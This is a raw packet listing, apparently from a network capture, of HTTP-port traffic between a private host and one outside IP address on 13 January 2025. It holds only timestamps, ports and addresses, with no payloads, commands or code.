Jan 13, 2025 09:06:05.748625994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.748634100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.748661041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.749141932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.749161005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.749172926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.749183893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.749195099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.749197960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.749218941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.751543045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.751583099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.751604080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.751615047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.751626015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.751636028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.751651049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.751672983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.752651930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.752665997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.752677917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.752687931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.752701044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.752715111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.752739906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.753024101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.753037930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.753053904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.753061056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.753070116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.753091097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.757718086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.757731915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.757762909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.757774115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.757786036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.757807970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.757972956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.757996082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.758011103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.758008003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.758047104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.758423090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.758444071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.758457899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.758471966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.758485079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.758486032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.758507013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.759268045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.759280920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.759291887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.759301901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.759310007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.759320974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.759335041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.759363890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.760041952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.760057926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.760068893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.760080099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.760091066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.760108948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.760128021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.760925055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.760935068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.760951996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.760962009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.760962963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.760972977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.760984898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.761835098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.761846066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.761857033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.761866093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.761867046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.761878014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.761903048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.762700081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.762716055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.762727976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.762737989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.762737989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.762758017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.762762070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.762789011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.763569117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.763578892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.763590097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.763600111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.763611078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.763612986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.763633966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.764381886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.764431000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.764475107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.764702082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.764731884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.764760971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.764784098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.764789104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.764817953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.764822960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.764847994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.764887094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.765621901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.765651941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.765681028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.765696049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.765708923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.765738964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.765742064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.765769958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.765801907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.766458988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.766489029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.766518116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.766525030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.766546965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.766585112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.766907930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.766937017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.766973972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.766979933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.767009974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.767039061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.767043114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.767067909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.767105103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.767117977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.767147064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.767179966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.767972946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.768011093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.768049002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.768050909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.768088102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.768126011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.768249035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.768331051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.768362999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.792076111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.792104006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.792156935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.811053991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.815898895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.830346107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.830365896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.830379963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.830391884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.830405951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.830420017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.830446959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.830460072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.830467939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.830482960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.830495119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.830497980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.830512047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.830516100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.830554962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.846930981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.848674059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.848701000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.848716021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.848728895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.848742962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.848757029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.848783970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.848813057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.852191925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.868324041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868339062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868393898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.868525982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868535995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868575096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868578911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.868586063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868599892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868660927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868679047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.868695974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.868705988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868716002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868727922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868742943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.868760109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.868779898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.886989117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887058973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887095928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887106895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.887141943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887180090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887182951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.887212992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887244940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887252092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.887278080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887310028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887327909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.887368917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887407064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887418032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.887437105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887476921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.887584925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887614965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887660027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.887734890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887768984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887840033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887857914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.887872934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887906075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887911081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.887938976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887973070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.887983084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888009071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888048887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888055086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888103008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888145924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888151884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888184071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888216019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888223886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888248920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888283014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888293028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888314009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888349056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888361931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888535976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888571024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888583899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888623953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888665915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888672113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888705969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888737917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888742924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888771057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888802052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888808012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888835907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888868093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888881922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.888904095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.888938904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.889110088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889173985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889205933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889219999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.889252901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889286995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889292955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.889317989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889324903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.889349937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889358044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.889381886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889415026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889416933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.889446020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889480114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889482021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.889512062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889545918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.889550924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892260075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892301083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892340899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892352104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892363071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892378092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892388105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892389059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892399073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892410040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892420053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892420053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892432928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892433882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892441988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892477036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892543077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892553091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892570972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892581940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892591953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892602921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892618895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892838955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892853022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892867088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892877102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892879963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892894030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892903090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892905951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892920971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.892930031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.892961025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.893176079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.893197060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.893210888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.893223047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.893230915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.893241882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.893254042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.893258095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.893266916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.893280983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.893290043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.893295050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.893309116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.893316984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.893342972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.895195007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.900769949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.921363115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.921401024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.921427965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.921441078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.921456099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.921467066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.921469927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.921484947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.921489000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.921499014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.921506882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.921531916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:06:05.939744949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939776897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939790964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939805031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:06:05.939817905 CET	80	49730	193.143.1.205	192.168.2.4
